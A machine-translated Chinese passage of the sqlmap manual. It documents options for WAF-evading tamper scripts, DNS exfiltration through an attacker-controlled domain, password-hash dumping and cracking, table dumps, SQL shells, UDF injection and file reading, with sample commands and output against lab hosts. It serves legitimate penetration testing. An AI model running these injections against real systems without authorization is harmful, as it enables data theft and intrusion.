如果由於某種原因,sqlmap無法檢測到后端數據庫管理系統(DBMS),或者您想避免活動指紋,您可以自己提供后端數據庫管理系統的名稱(例如postgresql)。對於MySQL和Microsoft SQL Server分別在表單中提供它們,MySQL <version>並且Microsoft SQL Server <version>在哪里<version>為DBMS的有效版本; 例如5.0用於MySQL和2005Microsoft SQL Server。

如果您--fingerprint一起提供--dbms,sqlmap只會為指定的數據庫管理系統執行大量指紋,請閱讀下面的詳細信息。

請注意,此選項不是必需的,強烈建議僅在您確實了解后端數據庫管理系統時才使用它如果你不知道它,讓sqlmap自動給你指紋。

強制數據庫管理系統操作系統名稱

選項: --os

默認情況下,當此信息與其他提供的交換機或選項相關時,sqlmap會自動檢測Web應用程序的后端數據庫管理系統底層操作系統。目前完全支持的操作系統是:

  • Linux的
  • 視窗

如果您已經知道它,可以強制操作系統名稱,以便sqlmap可以避免自行完成操作。

請注意,此選項不是必需的,強烈建議只有在您確實了解底層操作系統的后端數據庫管理系統時才使用它如果你不知道它,讓sqlmap為你自動識別它。

強制使用大數字來使值失效

開關: --invalid-bignum

在sqlmap需要使原始參數值無效的情況下(例如id=13)它使用經典否定(例如id=-13)。通過這個開關,可以強制使用大整數值來實現相同的目標(例如id=99999999)。

強制使用邏輯操作來使值失效

開關: --invalid-logical

在sqlmap需要使原始參數值無效的情況下(例如id=13)它使用經典否定(例如id=-13)。通過這個開關,可以強制使用布爾操作來實現相同的目標(例如id=13 AND 18=19)。

強制使用隨機字符串來使值失效

開關: --invalid-string

在sqlmap需要使原始參數值無效的情況下(例如id=13)它使用經典否定(例如id=-13)。通過這個開關,可以強制使用隨機字符串來實現相同的目標(例如id=akewmc)。

關閉有效負載轉換機制

開關: --no-cast

當檢索結果時,sqlmap使用一種機制,其中所有條目都被轉換為字符串類型,並在NULL值為空的情況下替換為空白字符這是為了防止任何錯誤狀態(例如,將NULL值與字符串值串聯)以及簡化數據檢索過程本身。然而,由於數據檢索本身的問題(例如None返回值),有報告的案例(例如較早版本的MySQL DBMS)需要關閉此機制(使用此開關)。

關閉字符串轉義機制

開關: --no-escape

如果sqlmap需要在有效載荷(例如SELECT 'foobar'內使用(單引號分隔)字符串值,那么這些值將自動被轉義(例如SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))。這是因為兩件事:混淆負載內容並防止后端服務器上查詢轉義機制(例如magic_quotes和/或mysql_real_escape_string)的潛在問題用戶可以使用此開關將其關閉(例如,以減少有效載荷大小)。

定制注入有效載荷

選項:--prefix--suffix

在某些情況下,只有當用戶提供了一個特定的后綴才能附加到注入有效載荷時,易受攻擊的參數才可被利用。當用戶已經知道該查詢語法並希望通過直接提供注入有效負載前綴和后綴來檢測和利用SQL注入時,這些選項變得方便的另一種情況會呈現出來。

易受攻擊的源代碼示例:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

要檢測和利用此SQL注入,可以讓sqlmap 在檢測階段為您檢測邊界(如SQL有效內容前綴和后綴的組合),或者自行提供。

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

這將導致所有的sqlmap請求在查詢中結束,如下所示:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

這使得查詢在語法上正確。

在這個簡單的例子中,sqlmap可以檢測SQL注入並利用它,而無需提供自定義邊界,但有時在實際應用中,當注入點位於嵌套JOIN查詢中時,有必要提供它

篡改注射數據

選項: --tamper

除了單引號之間的字符串被CHAR()同樣的表示所取代之外,sqlmap本身不會混淆發送的有效內容

在您與后端數據庫管理系統之間存在較弱的輸入驗證機制的情況下,此選項可能非常有用且功能強大。這種機制通常是由應用程序源代碼,昂貴的企業級IPS設備或Web應用程序防火牆(WAF)調用的自行開發的輸入驗證例程。所有的流行語通常用來定義相同的概念,以不同的方式實施並花費大量金錢。

要利用此選項,請提供帶逗號分隔的篡改腳本列表的sqlmap,這將處理有效內容並將其返回。您可以定義自己的篡改腳本,使用tamper/文件夾中的sqlmap命令,或者編輯它們,只要將逗號分隔為選項的值--tamper(例如--tamper="between,randomcase")即可。

有效的篡改腳本的格式如下所示:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

您可以檢查目錄中有效且可用的篡改腳本tamper/

假定>字符,空格和大寫SELECT字符串被禁止的情況下針對MySQL目標的示例

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[...]

發現

這些選項可用於自定義檢測階段。

水平

選項: --level

該選項需要一個參數來指定要執行的測試級別。五個級別。執行有限數量的測試(請求)時,默認值為1反之亦然,級別5將對更多數量的有效負載和邊界進行詳細測試(如在SQL有效負載前綴和后綴對中)。sqlmap使用的有效載荷在文本文件中指定xml/payloads.xml按照文件頂部的說明,如果sqlmap錯過了一次注入,你應該也可以添加你自己的有效載荷來進行測試!

不僅此選項會影響sqlmap嘗試哪些有效內容,還會考慮考試中采用哪些注入點:始終測試GET和POST參數,根據級別2測試HTTP Cookie標頭值,並測試HTTP User-Agent / Referer頭的值3

總而言之,檢測SQL注入越困難,--level必須設置的越高

強烈建議在向郵件列表報告sqlmap無法檢測到某個注入點之前將此值提高。

風險

選項: --risk

該選項需要一個參數來指定測試執行的風險。三個風險值。默認值是1,這對大多數SQL注入點無害。風險值2增加了默認級別,對基於時間的SQL查詢進行大量查詢的測試和值3也增加了OR基於SQL注入測試。

在某些情況下,像UPDATE聲明中的SQL注入一樣,注入OR基於內容的負載可能會導致表中所有條目的更新,這當然不是攻擊者想要的。出於這個原因和其他原因,這個選項已經被引入:用戶可以控制哪些有效載荷被測試,用戶可以任意選擇使用也是潛在危險的。根據前面的選項,sqlmap使用的有效載荷在文本文件中指定xml/payloads.xml,您可以自由編輯和添加您的擁有者。

頁面比較

選項:--string--not-string--regexp--code

默認情況下,通過將注入的請求頁面內容與原始未注入頁面內容進行比較來完成True查詢與一個查詢False(基於布爾型盲數SQL注入漏洞的粗略概念)的區別並不總是這個概念有效,因為有時候每次刷新時頁面內容都會改變,甚至不會注入任何東西,例如當頁面有一個計數器,一個動態廣告橫幅或HTML動態呈現的任何其他部分時,從而影響用戶的輸入。為了繞過這個限制,sqlmap會盡力識別這些響應主體的片段並進行相應的處理。有時它可能會失敗,這就是為什么用戶可以提供一個字符串(--string選項)應該在原始頁面上(盡管這不是要求)以及所有True注入查詢頁面上都存在,但它不在 False上。用戶可以提供正則表達式(--regexp選項),而不是靜態字符串或者,用戶可以提供一個字符串(--not-string選項),它不在原始頁面上而不在所有的True注入查詢頁面上,但總是出現在False 頁面上。

這些數據對於用戶來說很容易檢索,只需向受影響的參數中插入一個無效值並手動比較原始(未注入)頁面內容與注入的錯誤頁面內容。這種區分將基於字符串存在或正則表達式匹配。

在用戶知道可以使用HTTP代碼(例如for for 來完成True查詢的區分的情況下,他可以將該信息提供給sqlmap(eg )。False200True401False--code=200

開關:--text-only--titles

在用戶知道可以使用HTML標題(例如for for 區分True查詢和查詢的情況下,他可以使用開關打開基於標題的比較FalseWelcomeTrueForbiddenFalse--titles

在HTTP響應正文中包含大量活動內容(例如腳本,嵌入等)的情況下,可以--text-only僅為其文本內容過濾頁面(切換)。這樣,在很多情況下,您可以自動調整檢測引擎。

技術

這些選項可用於調整特定SQL注入技術的測試。

SQL注入技術來測試

選項: --technique

此選項可用於指定要測試的SQL注入類型。默認情況下,它支持所有類型/技術的sqlmap測試

在某些情況下,您可能只想測試一種或幾種特定類型的SQL注入思想,這就是此選項的作用。

這個選項需要一個參數。這種參數是一個通過的任何組合組成的字符串BEUSTQ字符,其中每個字母代表一種不同的技術:

  • B:基於布爾的盲
  • E:基於錯誤
  • U:聯盟查詢為基礎
  • S:堆積查詢
  • T:基於時間的盲人
  • Q:內嵌查詢

例如,您可以提供ES是否要測試和利用僅基於錯誤和堆棧的查詢SQL注入類型。默認值是BEUSTQ

請注意,字符串必須包含堆疊查詢技術字母,S當您要訪問文件系統時,接管操作系統或訪問Windows注冊表配置單元。

秒延遲DBMS響應時間為基礎的盲目SQL注入

選項: --time-sec

在測試基於時間的盲SQL注入時,可以設置延遲響應的秒數,方法是提供--time-sec后跟一個整數選項。默認情況下,它的值被設置為5秒

UNION查詢SQL注入中的列數

選項: --union-cols

默認情況下,sqlmap會針對使用1到10列的UNION查詢SQL注入技術進行測試。但是,通過提供更高的--level價值,該范圍可以增加到50列有關詳細信息,請參閱相關段落。

您可以手動告訴sqlmap,通過為該工具提供--union-cols一系列整數后面的選項來測試此類型SQL注入的特定范圍的列例如,12-16意味着使用12到16列的UNION查詢SQL注入的測試。

用於測試UNION查詢SQL注入的字符

選項: --union-char

默認情況下,sqlmap為使用NULL字符的UNION查詢SQL注入技術進行測試但是,通過提供更高的--level值,sqlmap將使用隨機數執行測試,因為在某些情況下UNION查詢測試NULL失敗,而使用隨機整數成功。

您可以通過使用--union-char具有所需字符值的選項(例如--union-char 123手動告訴sqlmap以測試此類型SQL注入的特定字符

在UNION查詢SQL注入的FROM部分中使用的表

選項: --union-from

在某些UNION查詢SQL注入情況下,需要在FROM子句中強制使用有效且可訪問的表名例如,Microsoft Access需要使用這種表格。如果不提供一個UNION查詢,SQL注入將無法正確執行(例如--union-from=users)。

DNS漏洞攻擊

選項: --dns-domain

DNS滲出SQL注入攻擊在SQL注入攻擊中通過DNS進行數據檢索時進行了描述,而在sqlmap中執行的演示可以在使用sqlmap的幻燈片DNS出口中找到

如果用戶正在控制注冊為DNS域服務器的計算機(例如域attacker.com),則可以使用此選項(例如--dns-domain attacker.com打開此攻擊它工作的先決條件是運行帶有Administrator權限的sqlmap (使用特權端口53),並且可以利用一種正常(盲目)技術進行利用。這樣做的唯一目的就是加速數據檢索過程,以防萬一至少有一種技術被識別出來(最好是基於時間的盲)。如果基於錯誤的盲或UNION查詢技術可用,它將被跳過,因為默認情況下這些技術是首選的。

二階攻擊

選項: --second-order

二階SQL注入攻擊是一個攻擊,其中一個易受攻擊頁面中的注入有效載荷的結果顯示(反映)在另一個(例如框架)。通常發生這種情況的原因是數據庫存儲用戶在原始易受攻擊頁面上提供的輸入。

您可以通過使用--second-order帶顯示結果的網頁的URL地址的選項手動告訴sqlmap以測試此類SQL注入

指紋

廣泛的數據庫管理系統指紋

開關:-f--fingerprint

默認情況下,web應用程序的后端數據庫管理系統指紋由sqlmap自動處理。在檢測階段結束后,最終提示用戶選擇哪個易受攻擊的參數進一步使用,sqlmap指紋后端數據庫管理系統,並通過知道使用哪種SQL語法,方言和查詢來繼續進行注入在數據庫體系結構的范圍內繼續進行攻擊。

如果對於任何需要基於各種技術(如特定SQL方言和帶內錯誤消息)執行廣泛的數據庫管理系統指紋的情況,您可以提供交換機--fingerprintsqlmap會執行更多的請求,並為確切的DBMS版本以及可能的操作系統,體系結構和補丁級別指紋。

如果你想讓指紋更准確的結果,你也可以提供開關-b--banner

列舉

這些選項可用於枚舉表中包含的后端數據庫管理系統信息,結構和數據。此外,你可以運行你自己的SQL語句。

全部檢索

開關: --all

此開關可用於用戶想要通過單個開關檢索可遠程訪問的所有內容的情況。不推薦這樣做,因為它會產生大量的請求來檢索有用和無用的數據。

旗幟

開關:-b--banner

大多數現代數據庫管理系統都有一個函數和/或一個環境變量,它返回數據庫管理系統版本,並最終返回其修補程序級別(即底層系統)的詳細信息。通常該函數是version()和環境變量@@version,但是這取決於目標DBMS。

針對Oracle目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

會話用戶

開關: --current-user

通過這個開關,可以檢索數據庫管理系統的用戶,該用戶正在有效地從Web應用程序對后端DBMS執行查詢。

當前數據庫

開關: --current-db

通過此開關,可以檢索Web應用程序連接到的數據庫管理系統的數據庫名稱。

服務器主機名

開關: --hostname

使用此開關可以檢索數據庫管理系統的主機名。

針對MySQL目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

檢測會話用戶是否是數據庫管理員

開關: --is-dba

可以檢測當前數據庫管理系統會話用戶是否是數據庫管理員(也稱為DBA)。True如果是,則返回sqlmap ,反之亦然False

列出數據庫管理系統用戶

開關: --users

當會話用戶讀取包含有關DBMS用戶信息的系統表時,可以枚舉用戶列表。

列出並破解數據庫管理系統用戶密碼哈希

開關: --passwords

當會話用戶讀取包含有關DBMS用戶密碼信息的系統表時,可以枚舉每個數據庫管理系統用戶的密碼哈希值。sqlmap將首先枚舉用戶,然后針對每個用戶使用不同的密碼哈希。

針對PostgreSQL目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

不僅sqlmap枚舉了DBMS用戶及其密碼,而且還將hash格式識別為PostgreSQL,要求用戶是否對字典文件測試哈希值並為postgres用戶標識明文密碼,這通常是另一個用戶的DBA testuser,密碼。

這個特性已經在所有可以枚舉用戶密碼哈希的DBMS中實現,包括2005年之前和之后的Oracle和Microsoft SQL Server。

您還可以提供選項-U以指定要枚舉的特定用戶,並最終破解密碼哈希(es)。如果您提供CU用戶名稱,則會將其視為當前用戶的別名,並將檢索此用戶的密碼哈希(es)。

列出數據庫管理系統用戶權限

開關: --privileges

當會話用戶讀取包含有關DBMS用戶信息的系統表時,可以枚舉每個數據庫管理系統用戶的權限。通過權限,sqlmap還會顯示哪些是數據庫管理員。

您還可以提供-U指定要枚舉權限的用戶的選項

如果您提供CU用戶名,則會將其視為當前用戶的別名,並列舉此用戶的權限。

在Microsoft SQL Server上,此功能將顯示您是否每個用戶都是數據庫管理員,而不是所有用戶的權限列表。

列出數據庫管理系統用戶角色

開關: --roles

當會話用戶讀取包含有關DBMS用戶信息的系統表時,可以枚舉每個數據庫管理系統用戶的角色。

您還可以提供-U指定要枚舉權限的用戶的選項

如果您提供CU用戶名,則會將其視為當前用戶的別名,並列舉此用戶的權限。

此功能僅在DBMS為Oracle時可用。

列出數據庫管理系統的數據庫

開關: --dbs

當會話用戶讀取包含有關可用數據庫信息的系統表時,可以枚舉數據庫列表。

枚舉數據庫的表

開關和選項:--tables--exclude-sysdbs-D

當會話用戶讀取包含有關數據庫表的信息的系統表時,可以枚舉特定數據庫管理系統數據庫的表列表。

如果不提供具有選項的特定數據庫-D,則sqlmap將枚舉所有DBMS數據庫的表。

您還可以提供交換機--exclude-sysdbs以排除所有系統數據庫。

請注意,在Oracle上,您必須提供TABLESPACE_NAME而不是數據庫名稱。

枚舉數據庫表列

開關和選項:--columns-C-T-D

當會話用戶讀取包含有關數據庫表的信息的系統表時,可以枚舉特定數據庫表的列表。sqlmap還枚舉每列的數據類型。

此功能取決於選項-T以指定表名稱並可選擇-D指定數據庫名稱。如果未指定數據庫名稱,則使用當前數據庫名稱。您還可以提供-C選項來指定表列名稱,如您提供的列舉名稱。

針對SQLite目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

請注意,在PostgreSQL上,您必須提供public系統數據庫的名稱或名稱。這是因為無法枚舉其他數據庫表,只能列出Web應用程序用戶所連接的模式下的表,而這些表總是被別名表示public

列舉數據庫管理系統模式

開關:--schema--exclude-sysdbs

用戶可以使用此開關檢索DBMS模式。架構清單將包含所有數據庫,表和列以及它們各自的類型。結合--exclude-sysdbs僅包含非系統數據庫的部分模式將被檢索並顯示。

針對MySQL目標的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

檢索表格的條目數

開關: --count

如果用戶想要在轉儲期望的表之前知道表中的條目數,他可以使用這個開關。

針對Microsoft SQL Server目標的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

轉儲數據庫表條目

開關和選項:--dump-C-T-D--start--stop--first--last--pivot-column--where

當會話用戶具有對特定數據庫表的讀取訪問權時,可以轉儲表條目。

此功能取決於選項-T以指定表名稱和可選的選項-D來指定數據庫名稱。如果提供了表名,但數據庫名不是,則使用當前數據庫名稱。

針對Firebird目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此開關也可用於轉儲提供的數據庫的所有表的條目。您只需提供帶有交換機的sqlmap --dump以及只有選項-D(no -T和no -C)。

您還可以提供逗號分隔的特定列列表,以便使用該選項進行轉儲-C

sqlmap也為每個表生成一個CSV格式的文本文件中的條目。通過提供大於或等於1的詳細級別,您可以看到sqlmap創建文件的絕對路徑

如果只想轉儲一系列條目,則可以提供選項--start和/或--stop分別從某個條目開始轉儲,並在某個條目處停止轉儲。例如,如果您只想轉儲第一個條目,請--stop 1在命令行中提供反之亦然,例如,如果您只想轉儲第二個和第三個條目,請提供--start 1 --stop 3

另外,也可以指定單個字符或者字符的范圍與選擇要轉儲的--first--last例如,如果要將列的條目從第三個字符轉換為第五個字符,請提供--first 3 --last 5此功能僅適用於盲注SQL技術,因為對於基於錯誤和UNION查詢SQL注入技術,請求數量完全相同,無論要轉儲的列輸入輸出的長度如何。

有時(例如,對於Microsoft SQL Server,Sybase和SAP MaxDB),OFFSET m, n由於缺乏相似性,不可能通過使用機制直接轉儲表行在這種情況下,sqlmap會通過確定最適合的pivot列(具有大多數唯一值的列)來轉儲內容,這些列的值稍后將用於檢索其他列值。如果pivot由於自動選擇的列不適合(例如由於缺少表轉儲結果)而需要強制執行特定的使用,則可以使用選項--pivot-column(例如--pivot-column=id)。

如果您想將轉儲限制為特定的列值(或范圍),則可以使用選項--where提供的邏輯操作將在WHERE子句中自動使用例如,如果--where="id>3"使用列值id大於3的表行,則將檢索(通過追加WHERE id>3到已使用的轉儲查詢)。

正如你現在可能已經注意到的那樣,sqlmap是靈活的:你可以讓它自動轉儲整個數據庫表,或者你可以非常精確地轉儲哪些字符,從哪些列和哪些范圍的條目。

轉儲所有數據庫表項

開關:--dump-all--exclude-sysdbs

可以立即轉儲會話用戶具有讀取權限的所有數據庫表條目。

您還可以提供交換機--exclude-sysdbs以排除所有系統數據庫。在這種情況下,sqlmap只會轉儲用戶數據庫表的條目。

請注意,在Microsoft SQL Server上,master數據庫不被視為系統數據庫,因為某些數據庫管理員將其用作用戶數據庫。

搜索列,表格或數據庫

開關和選項:--search-C-T-D

此開關允許您搜索特定數據庫名稱,跨所有數據庫的特定表或所有數據庫表中的特定列

例如,這對於識別包含自定義應用程序憑證的表格非常有用,其中相關列的名稱包含名稱傳遞等字符串

交換機--search需要與以下某個支持選項一起使用:

  • -C 跟隨在整個數據庫管理系統中查找逗號分隔列名稱的列表。
  • -T 跟隨在整個數據庫管理系統中查找逗號分隔表名稱列表。
  • -D 跟隨在數據庫管理系統中查找逗號分隔的數據庫名稱列表。

運行自定義SQL語句

選項和開關:--sql-query--sql-shell

SQL查詢和SQL shell功能允許在數據庫管理系統上運行任意SQL語句。sqlmap自動剖析提供的語句,確定哪種技術適合用於注入它,以及如何相應地打包SQL負載。

如果查詢是一個SELECT語句,sqlmap將檢索它的輸出。否則,如果Web應用程序在后端數據庫管理系統上支持多條語句,它將通過堆棧查詢SQL注入技術執行查詢。請注意,某些Web應用程序技術不支持在特定數據庫管理系統上進行堆棧查詢。例如,當后端DBMS是MySQL時,PHP不支持堆棧查詢,但當后端DBMS是PostgreSQL時,PHP支持。

針對Microsoft SQL Server 2000目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

正如你所看到的,sqlmap將提供的查詢分成兩個不同的SELECT語句,然后檢索每個單獨查詢的輸出。

如果提供的查詢是一個SELECT語句並包含一個FROM子句,則sqlmap會詢問您這樣的語句是否可以返回多個條目。在這種情況下,該工具知道如何正確解開查詢來計算可能條目的數量並檢索其輸出,每個條目的條目。

SQL shell選項允許您以交互方式運行自己的SQL語句,如連接到數據庫管理系統的SQL控制台。該功能也提供了TAB完成和歷史記錄支持。

蠻力

這些開關可用於運行強力檢查。

蠻力表名稱

開關: --common-tables

有些情況下,switch --tables不能用來檢索數據庫的表名。這些案件通常適用於以下類別之一:

  • 數據庫管理系統是MySQL <5.0information_schema不可用。
  • 數據庫管理系統是Microsoft Access,系統表MSysObjects不可讀 - 默認設置。
  • 會話用戶對存儲數據庫方案的系統表沒有讀權限。

如果前兩種情況中的任何一種適用並且您提供了交換機--tables,則sqlmap會提示您回答這個問題。無論哪種情況都適用於您的情況,如果您將其與交換機一起提供,sqlmap仍可能會識別一些現有的表--common-tablessqlmap將執行蠻力攻擊以檢測DBMS中是否存在公用表。

常用表名稱列表是txt/common-tables.txt,您可以根據需要進行編輯。

針對MySQL 4.1目標的示例:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

蠻力列名稱

開關: --common-columns

根據表格,有些情況下switch --columns不能用來檢索數據庫'表'的列名。這些案件通常適用於以下類別之一:

  • 數據庫管理系統是MySQL <5.0information_schema不可用。
  • 數據庫管理系統是Microsoft Access,這種信息在系統表內不可用。
  • 會話用戶對存儲數據庫方案的系統表沒有讀權限。

如果前兩種情況中的任何一種適用並且您提供了交換機--columns,則sqlmap會提示您回答這個問題。無論哪種情況都適用於您的情況,如果您將其與交換機一起提供,sqlmap仍可能會識別一些現有的表--common-columnssqlmap將執行強力攻擊以檢測DBMS中是否存在公共列。

常用表名稱列表是txt/common-columns.txt,您可以根據需要進行編輯。

用戶定義的函數注入

這些選項可用於創建自定義的用戶定義函數。

注入自定義用戶定義函數(UDF)

開關和選項:--udf-inject--shared-lib

您可以通過編譯MySQL或PostgreSQL共享庫,DLL for Windows和Linux / Unix共享對象來注入自己的用戶定義函數(UDF),然后為共享庫本地存儲在您的機器上的路徑提供sqlmap。然后,sqlmap會問你一些問題,上傳數據庫服務器文件系統上的共享庫,從中創建用戶定義的函數,並根據你的選項執行它們。當你完成使用注入的UDF時,sqlmap也可以為你從數據庫中刪除它們。

這些技術在高級SQL注入到操作系統完全控制的白皮書中有詳細介紹

使用選項--udf-inject並按照說明進行操作。

如果需要,也可以通過使用--shared-lib選項,通過命令行指定共享庫本地文件系統路徑反之亦然,sqlmap會在運行時詢問你的路徑。

該功能僅在數據庫管理系統是MySQL或PostgreSQL時可用。

文件系統訪問

從數據庫服務器的文件系統中讀取文件

選項: --file-read

當后端數據庫管理系統為MySQL,PostgreSQL或Microsoft SQL Server時,可以從底層文件系統檢索文件的內容,而會話用戶具有濫用數據庫特定功能和體系結構弱點的所需特權。指定的文件可以是文本文件或二進制文件。sqlmap會正確處理它。

這些技術在高級SQL注入到操作系統完全控制的白皮書中有詳細介紹

針對Microsoft SQL Server 2005目標檢索二進制文件的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

將文件上載到數據庫服務器的文件系統

選項:--file-write--file-dest

